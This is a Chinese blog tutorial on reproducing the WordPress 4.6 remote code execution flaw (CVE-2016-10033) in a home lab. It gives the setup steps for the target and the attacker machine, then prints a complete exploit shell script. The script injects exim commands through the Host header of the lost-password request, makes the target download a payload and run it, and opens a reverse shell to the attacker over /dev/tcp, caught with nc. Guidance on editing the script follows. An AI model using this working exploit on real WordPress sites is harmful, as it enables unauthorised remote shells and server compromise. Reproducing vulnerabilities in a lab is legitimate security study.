WordPress 4.6远程代码执行漏洞(CVE-2016-10033)复现环境搭建指南

时间:2022-04-28
本文章向大家介绍WordPress 4.6远程代码执行漏洞(CVE-2016-10033)复现环境搭建指南,主要内容包括搭建环境的步骤:、2.攻击机、3.脚本需要修改的部分、脚本的主要流程:、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。

首先是找到网上的漏洞分析和poc脚本,WordPress <4.7.1 远程代码执行漏洞(非插件无需认证,附Poc,演示视频)——具体关于漏洞的分析不多说了,这个说得很好了,主要是说环境搭建。

搭建环境的步骤:

1.靶机

靶机不能是虚拟机 因为虚拟机修改了HOST头会无法访问

靶机我是在一台电脑上装了ubuntu 16.04。

外加lamp环境 apache2 php7 mysql-server phpmyadmin。

具体的指令网上都有 这里就不赘述 然后直到看到it works。

下载wordpress4.6的安装压缩包 https://wordpress.org/wordpress-4.6.zip 。解压到/var/www/html/目录下 浏览器访问进行wordpress安装直到结束!注意这里会要求你输入后台管理员的邮箱,这个是和后面poc中的一部分挂钩的,后面会提到

靶机安装exim4而不是sendmail

sudo apt-get install exim4

上述命令用来安装exim4

dpkg-reconfigure exim4-config

上述命令用来配置 第一个选项选第一个:internet site; mail is sent and received directly using SMTP 第二个选项输入:你IP对应的DNS名称(发邮件时显示的@后缀) 这里我直接写的ip好像。后面的我基本都默认就行

靶机需要安装curl

2.攻击机

为了方便运行poc,攻击机最好也是linux系统(里面有一些curl nc等指令)

需要安装python,因为会有python建立simple http server来让靶机从你这边获取东西

攻击机上运行 ./exp.sh [http://xx.xx.xx.xx/](http://xx.xx.xx.xx/) 即可 其中xx.xx.xx.xx为靶机wordpress的根地址

3.脚本需要修改的部分

rev_host=”192.168.57.1″ #1 function prep_host_header() { cmd=”$1″ rce_cmd=”${run{$cmd}}”; # replace / with ${substr{0}{1}{$spool_directory}} #sed ‘s^/^${substr{0}{1}{$spool_directory}}^g’ rce_cmd=”`echo $rce_cmd | sed ‘s^/^${substr{0}{1}{$spool_directory}}^g’`” # replace ‘ ‘ (space) with #sed ‘s^ ^${substr{10}{1}{$tod_log}}$^g’ rce_cmd=”`echo $rce_cmd | sed ‘s^ ^${substr{10}{1}{$tod_log}}^g’`” #return “target(any -froot@localhost -be $rce_cmd null)” host_header=”target(any -froot@localhost -be $rce_cmd null)” return 0 } #cat exploitbox.ans intro=” DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6 b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1 QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54 eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4 bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K” intro2=” ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09 fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09 fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1 cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg==” echo “$intro” | base64 -d echo “$intro2″ | base64 -d if [ "$#" -ne 1 ]; then echo -e “Usage:n$0 target-wordpress-urln” exit 1 fi target=”$1″ echo -ne “e[91m[*]33[0m" read -p " Sure you want to get a shell on the target '$target' ? [y/N] ” choice echo if [ "$choice" == "y" ]; then echo -e “e[92m[*]33[0m Guess I can't argue with that... Let's get started...n" echo -e "e[92m[+]33[0m Connected to the target" # Serve payload/bash script on :80 RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &" echo "$RCE_exec_cmd" > rce.txt python -mSimpleHTTPServer 80 2>/dev/null >&2 & hpid=$! # Save payload on the target in /tmp/rce cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt" prep_host_header "$cmd" curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php? action=lostpassword #2 echo -e "ne[92m[+]e[0m Payload sent successfully" # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd="/bin/bash /tmp/rce" prep_host_header "$cmd" curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword & #3 echo -e "ne[92m[+]33[0m Payload executed!" echo -e "ne[92m[*]33[0m Waiting for the target to send us a e[94mreverse shelle[0m...n" nc -vv -l 1337 echo else echo -e "e[92m[+]33[0m Responsible choice

Exiting.n" exit 0 fi echo "Exiting..." exit 0

三个地方 第一处 #1 line 1

rev_host="192.168.57.1" #1

这边要替换成你的攻击机的ip地址,一般是和靶机处在一个局域网内的,可以提前访问下wordpress的网站进行测试。

第二处 #2 line 75第三处 #3 line 80

curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword #2 echo -e "ne[92m[+]e[0m Payload sent successfully” # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd=”/bin/bash /tmp/rce” prep_host_header “$cmd” curl -H”Host: $host_header” -d ‘user_login=admin&wp-submit=Get+New+Password’ $target/wp-login.php?action=lostpassword & #3

这两个地方主要要修改的可能是 user_login=admin 这个参数,这个poc里默认的是admin

这里其实就是你装wordpress时管理员的或者任意一个用户的邮箱

因为找回密码时他会先判断邮箱是否存在,再进行下一步

如果这里邮箱不存在 你发包是返回200 告诉你邮箱不存在

如果是存在有的邮箱,就是返回302跳转到输入邮箱密码的界面 同时告诉你邮件已经发了

下面是burp模拟攻击时候的抓包 返回的是302时说明已经命令执行成功

可以看到靶机上也确实出现了rce文件

这边执行的命令是 /usr/bin/curl -o/tmp/rce $rev_host/rce.txt

这三个地方改好了之后,脚本就可以运行了

(里面的一些test和输出是我调的时候自己加的不用在意…)

脚本的主要流程:

生成本地rce.txt 里面写的是是建立连接的命令 命令执行第一次 curl攻击机获取rce.txt 写到/tmp目录下 命令执行第二次 运行tmp目录下的rce nc连接靶机

效果不错,但是局限性较多,比如不能用虚拟机 还有要安装exim4等

这次复现一开始我都在纠结我的wp不能发邮件,还配置SMTP服务器什么的,后来发现其实这不是问题所在,

所以最重要的还是搞清楚到底是需要什么样的验证环境,需要安装那些东西,可以少走很多弯路。